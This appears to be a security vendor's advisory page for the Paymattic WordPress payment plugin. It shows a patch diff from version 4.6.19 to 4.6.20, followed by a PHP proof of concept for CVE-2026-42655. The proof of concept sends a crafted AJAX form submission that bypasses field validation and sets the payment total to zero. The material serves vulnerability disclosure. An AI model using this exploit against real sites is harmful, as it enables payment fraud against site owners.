 use WPPayFormFrameworkSupportArr;
 use WPPayFormAppServicesConditionAssesor;
@@ -114,7 +116,7 @@
         ];

         // Update the reCaptcha details with siteKey & secretKey.
-        update_option($this->optionKey, $mailChimpSettings, 'no`');
+        update_option($this->optionKey, $mailChimpSettings, 'no');

         wp_send_json_success([
             'message' => __('Your mailchimp api key has been verified and successfully set', 'wp-payment-form'),
--- a/wp-payment-form/app/Services/Integrations/Slack/Bootstrap.php
+++ b/wp-payment-form/app/Services/Integrations/Slack/Bootstrap.php
@@ -2,6 +2,8 @@

 namespace WPPayFormAppServicesIntegrationsSlack;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppServicesConditionAssesor;
 use WPPayFormAppServicesIntegrationsIntegrationManager;
 use WPPayFormFrameworkSupportArr;
--- a/wp-payment-form/app/Services/Integrations/Slack/SlackNotificationActions.php
+++ b/wp-payment-form/app/Services/Integrations/Slack/SlackNotificationActions.php
@@ -2,6 +2,8 @@

 namespace WPPayFormAppServicesIntegrationsSlack;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppServicesGeneralSettings;
 use WPPayFormFrameworkSupportArr;
 use WPPayFormFrameworkFoundationApp;
--- a/wp-payment-form/app/Views/admin/global/global_menu.php
+++ b/wp-payment-form/app/Views/admin/global/global_menu.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 if(isset($_GET['page'])) {
     $page = sanitize_text_field(wp_unslash($_GET['page']));
 }
--- a/wp-payment-form/app/Views/admin/global/pdf_promo.php
+++ b/wp-payment-form/app/Views/admin/global/pdf_promo.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <div class="add_on_modules">
     <div style="margin-bottom: 0px" class="modules_header">
         <div class="module_title">
--- a/wp-payment-form/app/Views/admin/menu.php
+++ b/wp-payment-form/app/Views/admin/menu.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <?php do_action('wppayform_global_menu'); ?>
 <div id='wppayforms_app'>
     Loading App...
--- a/wp-payment-form/app/Views/admin/notice/deactivate-form.php
+++ b/wp-payment-form/app/Views/admin/notice/deactivate-form.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <div id="wpf-feedback" class="wpf-feedback-container" style="display: none;">
     <div class="wpf-feedback-form">
         <div class="header">
--- a/wp-payment-form/app/Views/admin/settings/index.php
+++ b/wp-payment-form/app/Views/admin/settings/index.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppModulesBuilderHelper;
 use WPPayFormFrameworkSupportArr;

--- a/wp-payment-form/app/Views/admin/settings/settings.php
+++ b/wp-payment-form/app/Views/admin/settings/settings.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <?php do_action('wppayform_before_global_settings_option_render'); ?>

 <div class="wppayform_global_settings_option" id="wppayform_global_settings_option_app">
--- a/wp-payment-form/app/Views/admin/show_review.php
+++ b/wp-payment-form/app/Views/admin/show_review.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>

--- a/wp-payment-form/app/Views/admin/template_preview.php
+++ b/wp-payment-form/app/Views/admin/template_preview.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppModulesBuilderRenderDemoForm;
 ?>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
--- a/wp-payment-form/app/Views/elements/input_fields_html.php
+++ b/wp-payment-form/app/Views/elements/input_fields_html.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <?php if ($items) : ?>
     <table class="table wpf_table input_items_table table_bordered">
         <tbody>
--- a/wp-payment-form/app/Views/elements/order_items_table.php
+++ b/wp-payment-form/app/Views/elements/order_items_table.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 if (!$submission->order_items) {
     return '';
 }
--- a/wp-payment-form/app/Views/elements/subscription_id.php
+++ b/wp-payment-form/app/Views/elements/subscription_id.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 if (!isset($submission->subscriptions[0])) {
     return '';
 }
--- a/wp-payment-form/app/Views/elements/subscriptions_info.php
+++ b/wp-payment-form/app/Views/elements/subscriptions_info.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 if (!$submission->subscriptions) {
     return '';
 }
--- a/wp-payment-form/app/Views/elements/transaction_id.php
+++ b/wp-payment-form/app/Views/elements/transaction_id.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 if (!isset($submission->transactions[0])) {
     return '';
 }
--- a/wp-payment-form/app/Views/elements/user_submissions_table.php
+++ b/wp-payment-form/app/Views/elements/user_submissions_table.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <table class="table wpf_submissions_table wpf_striped_table wpf_table table_bordered">
     <thead>
     <th style="min-width: 60px"><?php esc_html_e('#', 'wp-payment-form'); ?></th>
--- a/wp-payment-form/app/Views/frameless/footer.php
+++ b/wp-payment-form/app/Views/frameless/footer.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 </div>

 <?php foreach ($js_files as $wppayform_file):
--- a/wp-payment-form/app/Views/frameless/header.php
+++ b/wp-payment-form/app/Views/frameless/header.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <!doctype html>
 <html <?php language_attributes(); ?>>
 <head>
--- a/wp-payment-form/app/Views/leaderBoard/stats.php
+++ b/wp-payment-form/app/Views/leaderBoard/stats.php
@@ -1,4 +1,4 @@
-
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <div class="wpf_leaderboard_stats">
     <div class="wpf_leaderboard_stats_content">
         <div class="wpf_leaderboard_stats_raised">
--- a/wp-payment-form/app/Views/leaderBoard/template_0.php
+++ b/wp-payment-form/app/Views/leaderBoard/template_0.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <div class="wpf-donor-template-not-found">
     <div class="wpf-donor-template-not-found__content">
         <div class="wpf-donor-template-not-found__content__text">
--- a/wp-payment-form/app/Views/leaderBoard/template_1.php
+++ b/wp-payment-form/app/Views/leaderBoard/template_1.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <div class="wpf-leaderboard-temp-one wpf-template-wrapper"
     data-show-total="<?php echo $show_total == 'true' ? 'true' : 'false'; ?>"
     data-show-name="<?php echo $show_name == 'true' ? 'true' : 'false'; ?>"
--- a/wp-payment-form/app/Views/leaderBoard/template_2.php
+++ b/wp-payment-form/app/Views/leaderBoard/template_2.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppModulesLeaderBoardRender;
 $wppayform_asset_url = WPPAYFORM_URL . 'assets/images/global';
 $wppayform_nodonor_data = WPPAYFORM_URL . 'assets/images/empty-cart.svg';
--- a/wp-payment-form/app/Views/leaderBoard/template_3.php
+++ b/wp-payment-form/app/Views/leaderBoard/template_3.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppModulesLeaderBoardRender;
 $wppayform_donor_info_class = $show_avatar == 'true' ? "wpf-donor-info temp-three" : "wpf-donor-info temp-three wpf-info-flex";
 $wppayform_asset_url = WPPAYFORM_URL . 'assets/images/global';
--- a/wp-payment-form/app/Views/receipt/custom_css.php
+++ b/wp-payment-form/app/Views/receipt/custom_css.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <style type="text/css">
     .wpf_payment_receipt{
         display: block !important;
--- a/wp-payment-form/app/Views/receipt/customer_details.php
+++ b/wp-payment-form/app/Views/receipt/customer_details.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <div class="wpf_customer_details">
     <h4><?php esc_html_e('Submission Details', 'wp-payment-form'); ?></h4>
     <div class="wpf_submission_details">
--- a/wp-payment-form/app/Views/receipt/header.php
+++ b/wp-payment-form/app/Views/receipt/header.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <div class="wpf_submission_header">
     <div class="wpf_submission_message" style="margin-bottom: 20px;">
         <?php echo wp_kses_post($header_content); ?>
--- a/wp-payment-form/app/Views/receipt/payment_info.php
+++ b/wp-payment-form/app/Views/receipt/payment_info.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <div class="wpf_payment_info">
     <div class="wpf_payment_info_item wpf_payment_info_item_order_id">
         <?php if ($submission->order_items) : ?>
--- a/wp-payment-form/app/Views/user/Community.php
+++ b/wp-payment-form/app/Views/user/Community.php
@@ -1,2 +1,5 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 echo 'hello';
 No newline at end of file
--- a/wp-payment-form/app/Views/user/SubmissionTable.php
+++ b/wp-payment-form/app/Views/user/SubmissionTable.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormFrameworkSupportArr;

 ?>
--- a/wp-payment-form/app/Views/user/dashboard.php
+++ b/wp-payment-form/app/Views/user/dashboard.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormFrameworkSupportArr;
 use WPPayFormAppServicesGlobalTools;

--- a/wp-payment-form/app/Views/user/login_redirect.php
+++ b/wp-payment-form/app/Views/user/login_redirect.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <div class="wpf-dashboard-auth-box">
     <div class="wpf-dashboard-auth-box-header">
         Login to access your dashboard
--- a/wp-payment-form/boot/app.php
+++ b/wp-payment-form/boot/app.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppHooksHandlersActivationHandler;
 use WPPayFormAppHooksHandlersDeactivationHandler;
 use WPPayFormFrameworkFoundationApplication;
--- a/wp-payment-form/boot/bindings.php
+++ b/wp-payment-form/boot/bindings.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WPPayFormAppModulesFormComponentsInitComponents;

 /**
--- a/wp-payment-form/boot/globals_dev.php
+++ b/wp-payment-form/boot/globals_dev.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 /**
  * Enable Query Log
  */
--- a/wp-payment-form/boot/wppayform-globals.php
+++ b/wp-payment-form/boot/wppayform-globals.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 /**
  ***** DO NOT CALL ANY FUNCTIONS DIRECTLY FROM THIS FILE ******
  *
--- a/wp-payment-form/database/Migrations/SubmissionsTable.php
+++ b/wp-payment-form/database/Migrations/SubmissionsTable.php
@@ -33,7 +33,14 @@
 			country varchar(45),
 			created_at timestamp NULL,
 			updated_at timestamp NULL,
-			PRIMARY  KEY  (id)
+			PRIMARY  KEY  (id),
+			KEY idx_form_id (form_id),
+			KEY idx_customer_email (customer_email),
+			KEY idx_payment_status (payment_status),
+			KEY idx_status (status),
+			KEY idx_created_at (created_at),
+			KEY idx_submission_hash (submission_hash),
+			KEY idx_form_payment_status (form_id, payment_status)
 		) $charset_collate;";

         dbDelta($sql);
--- a/wp-payment-form/vendor/composer/autoload_classmap.php
+++ b/wp-payment-form/vendor/composer/autoload_classmap.php
@@ -252,6 +252,7 @@
     'WPPayForm\App\Modules\PaymentMethods\Offline\OfflineSettings' => $baseDir . '/app/Modules/PaymentMethods/Offline/OfflineSettings.php',
     'WPPayForm\App\Modules\PaymentMethods\PaymentHelper' => $baseDir . '/app/Modules/PaymentMethods/PaymentHelper.php',
     'WPPayForm\App\Modules\PaymentMethods\Stripe\ApiRequest' => $baseDir . '/app/Modules/PaymentMethods/Stripe/ApiRequest.php',
+    'WPPayForm\App\Modules\PaymentMethods\Stripe\CancelSubscription' => $baseDir . '/app/Modules/PaymentMethods/Stripe/CancelSubscription.php',
     'WPPayForm\App\Modules\PaymentMethods\Stripe\Charge' => $baseDir . '/app/Modules/PaymentMethods/Stripe/Charge.php',
     'WPPayForm\App\Modules\PaymentMethods\Stripe\CheckoutSession' => $baseDir . '/app/Modules/PaymentMethods/Stripe/CheckoutSession.php',
     'WPPayForm\App\Modules\PaymentMethods\Stripe\Customer' => $baseDir . '/app/Modules/PaymentMethods/Stripe/Customer.php',
@@ -284,6 +285,7 @@
     'WPPayForm\App\Services\Integrations\FluentCrm\Bootstrap' => $baseDir . '/app/Services/Integrations/FluentCrm/Bootstrap.php',
     'WPPayForm\App\Services\Integrations\FluentCrm\FluentCrmInit' => $baseDir . '/app/Services/Integrations/FluentCrm/FluentCrmInit.php',
     'WPPayForm\App\Services\Integrations\FluentSupport\Bootstrap' => $baseDir . '/app/Services/Integrations/FluentSupport/Bootstrap.php',
+    'WPPayForm\App\Services\Integrations\FluentSupport\FluentSupport' => $baseDir . '/app/Services/Integrations/FluentSupport/FluentSupport.php',
     'WPPayForm\App\Services\Integrations\GlobalIntegrationManager' => $baseDir . '/app/Services/Integrations/GlobalIntegrationManager.php',
     'WPPayForm\App\Services\Integrations\GlobalNotificationManager' => $baseDir . '/app/Services/Integrations/GlobalNotificationManager.php',
     'WPPayForm\App\Services\Integrations\IntegrationManager' => $baseDir . '/app/Services/Integrations/IntegrationManager.php',
--- a/wp-payment-form/vendor/composer/autoload_static.php
+++ b/wp-payment-form/vendor/composer/autoload_static.php
@@ -340,6 +340,7 @@
         'WPPayForm\App\Modules\PaymentMethods\Offline\OfflineSettings' => __DIR__ . '/../..' . '/app/Modules/PaymentMethods/Offline/OfflineSettings.php',
         'WPPayForm\App\Modules\PaymentMethods\PaymentHelper' => __DIR__ . '/../..' . '/app/Modules/PaymentMethods/PaymentHelper.php',
         'WPPayForm\App\Modules\PaymentMethods\Stripe\ApiRequest' => __DIR__ . '/../..' . '/app/Modules/PaymentMethods/Stripe/ApiRequest.php',
+        'WPPayForm\App\Modules\PaymentMethods\Stripe\CancelSubscription' => __DIR__ . '/../..' . '/app/Modules/PaymentMethods/Stripe/CancelSubscription.php',
         'WPPayForm\App\Modules\PaymentMethods\Stripe\Charge' => __DIR__ . '/../..' . '/app/Modules/PaymentMethods/Stripe/Charge.php',
         'WPPayForm\App\Modules\PaymentMethods\Stripe\CheckoutSession' => __DIR__ . '/../..' . '/app/Modules/PaymentMethods/Stripe/CheckoutSession.php',
         'WPPayForm\App\Modules\PaymentMethods\Stripe\Customer' => __DIR__ . '/../..' . '/app/Modules/PaymentMethods/Stripe/Customer.php',
@@ -372,6 +373,7 @@
         'WPPayForm\App\Services\Integrations\FluentCrm\Bootstrap' => __DIR__ . '/../..' . '/app/Services/Integrations/FluentCrm/Bootstrap.php',
         'WPPayForm\App\Services\Integrations\FluentCrm\FluentCrmInit' => __DIR__ . '/../..' . '/app/Services/Integrations/FluentCrm/FluentCrmInit.php',
         'WPPayForm\App\Services\Integrations\FluentSupport\Bootstrap' => __DIR__ . '/../..' . '/app/Services/Integrations/FluentSupport/Bootstrap.php',
+        'WPPayForm\App\Services\Integrations\FluentSupport\FluentSupport' => __DIR__ . '/../..' . '/app/Services/Integrations/FluentSupport/FluentSupport.php',
         'WPPayForm\App\Services\Integrations\GlobalIntegrationManager' => __DIR__ . '/../..' . '/app/Services/Integrations/GlobalIntegrationManager.php',
         'WPPayForm\App\Services\Integrations\GlobalNotificationManager' => __DIR__ . '/../..' . '/app/Services/Integrations/GlobalNotificationManager.php',
         'WPPayForm\App\Services\Integrations\IntegrationManager' => __DIR__ . '/../..' . '/app/Services/Integrations/IntegrationManager.php',
--- a/wp-payment-form/wp-payment-form.php
+++ b/wp-payment-form/wp-payment-form.php
@@ -3,7 +3,7 @@
 /*
 Plugin Name: Paymattic - Payments made simple
 Description: Create and Accept Payments in minutes with Stripe, PayPal & other top gateways with built-in form builder
-Version: 4.6.19
+Version: 4.6.20
 Author: WPManageNinja LLC
 Author URI: https://paymattic.com
 Plugin URI: https://paymattic.com/
@@ -14,7 +14,7 @@

 if (!defined('WPPAYFORM_VERSION')) {
     define('WPPAYFORM_VERSION_LITE', true);
-    define('WPPAYFORM_VERSION', '4.6.19');
+    define('WPPAYFORM_VERSION', '4.6.20');
     define('WPPAYFORM_DB_VERSION', 120);
     // Stripe API version should be in 'YYYY-MM-DD' format.
     define('WPPAYFORM_STRIPE_API_VERSION', '2019-05-16');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42655 - Paymattic <= 4.6.19 Missing Authorization / Price Manipulation

/*
 * This PoC demonstrates exploitation of CVE-2026-42655 by:
 * 1. Bypassing required field validation via crafted form_localize
 * 2. Submitting a fraudulent payment with manipulated total (zero amount)
 *
 * The attack targets the wppayform_form_submission AJAX action.
 */

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS

// Step 1: Craft the form submission payload
// We manipulate form_localize to make all fields 'not required'
// We set main_total to 0 (or any arbitrary low amount)
// We provide minimal form_data to pass basic parsing

$payload = array(
    'action' => 'wppayform_form_submission',
    'form_id' => 1, // Replace with target form ID
    'main_total' => 0, // Manipulated total — server accepted this in vulnerable version
    'form_localize' => json_encode(array(
        'conditional_logic' => array(
            'text' => array('required' => 'no'),
            'email' => array('required' => 'no'),
            'number' => array('required' => 'no'),
            'textarea' => array('required' => 'no'),
            'select' => array('required' => 'no'),
            'radio' => array('required' => 'no'),
            'checkbox' => array('required' => 'no'),
            'custom_payment_input' => array('required' => 'no'),
            'donation_item' => array('required' => 'no'),
            'dynamic_payment_item' => array('required' => 'no')
        )
    )),
    'form_data' => http_build_query(array(
        // Simulate a payment item — the attacker can set a high value but
        // the main_total parameter will override the server's calculation
        '__wpf_form_id' => 1,
        'payment_method' => 'offline',
        // Include at least one donation/payment item to pass payment processing
        'donation_amount_custom' => '100.00', // Legitimate looking amount
        'donation_is_recurring' => '', // Not recurring
        '__wpf_all_applied_coupons' => '[]'
    ))
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Target: $target_urln";
echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response Body:n$responsen";

// The vulnerable plugin would return success (200) with submission data
// The patched plugin would return 403 with nonce error
if ($http_code == 200) {
    echo "[!] Target may be vulnerable: received 200 without authentication.n";
} elseif ($http_code == 403) {
    echo "[+] Target appears patched: received 403 (nonce verification added).n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School